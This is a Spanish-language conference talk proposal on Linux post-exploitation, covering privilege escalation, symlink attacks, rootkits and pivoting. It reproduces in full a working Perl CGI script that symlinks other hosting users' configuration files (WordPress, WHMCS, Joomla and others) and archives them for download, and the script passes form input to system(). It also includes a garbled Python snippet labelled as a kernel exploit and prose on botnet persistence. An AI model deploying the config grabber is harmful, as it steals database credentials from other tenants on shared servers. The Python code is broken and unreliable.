Linux Unix Post Hacking

Linux/Unix post hacking
Dentro de las etapas del pentest se encuentra la etapa de la explotación, los auditores en
seguridad informática o hackers éticos algunas veces dejan pasar por alto el nivel de
elevación de privilegios ya que por el tiempo limitado que se tiene al momento de realizar
una auditoría solo se delimitan a comprobar las vulnerabilidades, en esta ponencia se
mostraran técnicas donde se demuestra que hacer después de haber obtenido una Shell
dentro del servidor, se mostrara de manera local y grafica como llevar acabo :
1.
2.
3.
4.
5.
6.
Elevación de privilegios.
A taques Symlink
Uso de rootkis
Uso y configuración de RATS
Técnicas pivoting
Evidencias de una penetración a nivel político haciendo uso de estos ataques.
Elevación de privilegios.
Analizaremos vulnerabilidades más comunes encontradas en servidores en internet entre
ellas la vulnerabilidad CVE-2014-3153 Futex, realizando un POC, esta es una llamada al
sistema que se encarga de realizar bloqueos básicos, aunque también puede utilizarse
para tareas más complejas como la implementación de semáforos o variables
condicionales. De acuerdo al reporte, el usuario local obtendría control sobre el equipo a
través de esta llamada al sistema, los privilegios adjudicados corresponderían al anillo de
protección 0, el nivel con mayor número de permisos que interactúa directamente con el
CPU y la memoria. Aquellos programas que se ejecutan bajo privilegios de anillo 0
pueden hacer cualquier cosa con el sistema.
Analizaremos un exploit que afecta a la mayoría de las distribuciones que cuenten con un
kernel 2.6.? que le permite a un atacante escalar privilegios. CVE-2009-3547
import os
import time
import random
#infinite loop
while (i == 0):
os.system("sleep 1")
while (x == 0):
time.sleep(random.random()) #random int 0.0-1.0
pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID;
}"))
if (pid == 0): #need an active pid, race condition applies
print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
return
else:
print "[+] PID: " + pid
loc = "echo n > /proc/" + pid + "/fd/1"
os.system(loc) # triggers the fault, runs via sh
Ataques Symlink
Symlink o enlace simbolico es un método para hacer referencia a otros archivos y
carpetas en Linux. Symlink tambien es utilizado como una técnica de hacking para
obtener acceso no autorizado a los archivos de configuración de las diferentes
aplicaciones alojadas en el servidor. Usando esta técnica se generá un enlace simbolico
en formato txt que contiene la configuración de sitios como vBulletin,IPB,MyBB,Php
Nuke,SMF,Joomla,WordPress,Drupal,Oscomme-rce,e107 etc.
Compilaremos exploits para realizar dicha actividad, acompañado por otras compilaciones
anteriores para que esto funcione.
#!/usr/bin/perl -I/usr/local/bandmin
print "Content-type: text/html\n\n";
print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Language" content="en-us" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>[~] AtommotA Config - [~] </title>
<style type="text/css">
.newStyle1 {
font-family: Tahoma;
font-size: x-small;
font-weight: bold;
color: #00FFFF;
text-align: center;
}
</style>
</head>
';
sub lil{
($user) = @_;
$msr = qx{pwd};
$kola=$msr."/".$user;
$kola=~s/\n//g;
symlink('/home/'.$user.'/public_html/includes/configure.php',$kola.'-shop.txt');
symlink('/home/'.$user.'/public_html/amember/config.inc.php',$kola.'-amember.txt');
symlink('/home/'.$user.'/public_html/config.inc.php',$kola.'-amember2.txt');
symlink('/home/'.$user.'/public_html/members/configuration.php',$kola.'-members.txt');
symlink('/home/'.$user.'/public_html/config.php',$kola.'2.txt');
symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'-forum.txt');
symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'5.txt');
symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'4.txt');
symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'-wordpress.txt');
symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'-wordpress-1.txt');
symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'6.txt');
symlink('/home/'.$user.'/public_html/include/db.php',$kola.'7.txt');
symlink('/home/'.$user.'/public_html/connect.php',$kola.'8.txt');
symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'9.txt');
symlink('/home/'.$user.'/public_html/include/config.php',$kola.'12.txt');
symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'-joomla.txt');
symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'-vb.txt');
symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'-includes-vb.txt');
symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'-whm15.txt');
symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.'-whmc16.txt');
symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.'-whmcs.txt');
symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'-support.txt');
symlink('/home/'.$user.'/public_html/configuration.php',$kola.'1whmcs.txt');
symlink('/home/'.$user.'/public_html/submitticket.php',$kola.'-whmcs2.txt');
symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.'-clients.txt');
symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.'-client.txt');
symlink('/home/'.$user.'/public_html/clientes/configuration.php',$kola.'-clients.txt');
symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.'-billing.txt');
symlink('/home/'.$user.'/public_html/manage/configuration.php',$kola.'-billing.txt');
symlink('/home/'.$user.'/public_html/my/configuration.php',$kola.'-billing.txt');
symlink('/home/'.$user.'/public_html/myshop/configuration.php',$kola.'-billing.txt');
}
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
} else {
$buffer = $ENV{'QUERY_STRING'};
}
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$FORM{$name} = $value;
}
if ($FORM{pass} eq ""){
print '
<body class="newStyle1" background="http://www.1337day.com/inj3ct0r/dot.gif" bgcolor="#000000">
<link rel="SHORTCUT ICON" href="http://icons.iconarchive.com/icons/custom-icon-design/all-countryflag/256/Malaysia-Flag-icon.png">
<script src="http://snow-effect.googlecode.com/files/snow.js" type="text/javascript"></script>
<embed src="http://www.youtube.com/v/OIMzM6P-5Rk&amp;autoplay=1&amp;loop=1" type="application/xshockwave-flash" wmode="transparent" height="1" width="1">
<p>AtommotA Config Script</p>
<p><font color="#C0C0C0">[</font> Coded By AtommotA <font color="#C0C0C0">|</font>
Cat- DevilCode<span id="result_box" class="short_text" lang="en"><span style title>
<font color="#C0C0C0">|</font></span></span> <a href="http://www.catdevilcode.net/">
<span style="text-decoration: none"><font color="#00FF00">http://www.catdevilcode.net/</font></span></a>
<font color="#C0C0C0">]</font></p>
<form method="post">
<textarea name="pass" style="border:1px dotted #00FFFF; width: 543px; height: 420px; backgroundcolor:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#00FFFF" ></textarea><br />
&nbsp;<p>
<input name="tar" type="text" style="border:1px dotted #00FFFF; width: 212px; background-color:#0C0C0C;
font-family:Tahoma; font-size:8pt; color:#00FFFF; " /><br />
&nbsp;</p>
<p>
<input name="Submit1" type="submit" value="Dapatkan Config!" style="border:1px dotted #00FFFF; width: 99;
font-family:Tahoma; font-size:10pt; color:#00FFFF; text-transform:uppercase; height:23; backgroundcolor:#0C0C0C" /></p>
</form>';
}else{
@lines =<$FORM{pass}>;
$y = @lines;
open (MYFILE, ">atom.mota");
print MYFILE "tar -czf ".$FORM{tar}.".tar ";
for ($ka=0;$ka<$y;$ka++){
while(@lines[$ka] =~ m/(.*?):x:/g){
&lil($1);
print MYFILE $1.".txt ";
for($kd=1;$kd<18;$kd++){
print MYFILE $1.$kd.".txt ";
}
}
}
print'<body class="newStyle1" bgcolor="#000000">
<body class="newStyle1" background="http://www.1337day.com/inj3ct0r/dot.gif" bgcolor="#000000">
<link rel="SHORTCUT ICON" href="http://icons.iconarchive.com/icons/custom-icon-design/all-countryflag/256/Malaysia-Flag-icon.png">
<script src="http://snow-effect.googlecode.com/files/snow.js" type="text/javascript"></script>
<embed src="http://www.youtube.com/v/OIMzM6P-5Rk&amp;autoplay=1&amp;loop=1" type="application/xshockwave-flash" wmode="transparent" height="1" width="1">
<p>Berjaya !!</p>
<p>&nbsp;</p>';
if($FORM{tar} ne ""){
open(INFO, "atom.mota");
@lines =<INFO> ;
close(INFO);
system(@lines);
print'<p><a href="'.$FORM{tar}.'.tar"><font color="#00FF00">
<span style="text-decoration: none">Click Here To Download Tar File</span></font></a></p>';
}
} print"
</body>
</html>";
Uso de rootkis
Un rootkit permite un acceso de privilegio continuo a una computadora pero que mantiene
su presencia activamente oculta al control de los administradores al corromper el
funcionamiento normal del sistema operativo o de otras aplicaciones.
El término proviene de una concatenación de la palabra inglesa root, que significa 'raíz'
(nombre tradicional de la cuenta privilegiada en los sistemas operativos Unix) y de la
palabra inglesa kit, que significa 'conjunto de herramientas' (en referencia a los
componentes de software que implementan este programa). El término rootkit tiene
connotaciones peyorativas ya que se lo asocia al malware. En otras palabras, usualmente
se lo asocia con malware, que se esconde a sí mismo y a otros programas, procesos,
archivos, directorios, claves de registro, y puertos que permiten al intruso mantener el
acceso a una amplia variedad de sistemas operativos como pueden ser GNU/Linux,
Solaris o Microsoft Windows para remotamente comandar acciones o extraer información
sensible.
Típicamente, un atacante instala un rootkit en una computadora después de primero
haber obtenido un acceso al nivel raíz, ya sea por haberse aprovechado de una
vulnerabilidad conocida o por haber obtenido una contraseña (ya sea por crackeo de la
encriptación o por ingeniería social). Una vez que el rootkit ha sido instalado, permite que
el atacante disfrace la siguiente intrusión y mantenga el acceso privilegiado a la
computadora por medio de rodeos a los mecanismos normales de autenticación y
autorización. Pese a que los rootktis pueden servir con muchos fines, han ganado
notoriedad fundamentalmente como malware, escondiendo programas que se apropian
de los recursos de las computadoras o que roban contraseñas sin el conocimiento de los
administradores y de los usuarios de los sistemas afectados. Los rootkits pueden estar
dirigidos al firmware, al hipervisor, al núcleo, ó , más comúnmente, a los programas del
usuario.
En este apartado veremos cómo se crea una persistencia dentro de un servidor para que
sea parte de una bootnet, es por ello como grupos de hacking desean tanto el obtener
una Shell con root ya que ese servidor en internet será usado como parte de una bootnet
que realiza diversas actividades desde la recolección de información y bases de datos a
nivel mundial, Ciber ataques hasta el minado de Bitcoins.
Técnicas pivoting
Es un método
o que consiste básicamente en utilizar un sistema bajo nuestro control como
pasarela para atacar otros sistemas y redes, evadiendo así restricciones como las reglas
de un firewall intermedio. Podríamos dividir esta técnica en dos grandes tipos: - Proxy
pivoting:
voting: se canaliza el tráfico a través de un payload en el equipo mediante el cual
pivotaremos. Se limita a determinados puertos TCP y UDP. - VPN pivoting: consiste en
crear un túnel cifrado contra el equipo mediante el cual pivotaremos para enrutar todo el
tráfico de red, por ejemplo para ejecutar un escaneo de vulnerabilidades a otros equipos
de su red o de otras redes a las que tiene acceso.
Evidencias de una penetración a nivel político haciendo uso de estos
ataques.
Nos reservamos de dar más detalles al respecto.
Tiempo: 1: 30 Horas
Material necesario: Proyector y apuntador
Nivel: Avanzado
Requisitos: Los participantes deberán tener conocimiento acerca de técnicas de Hackeo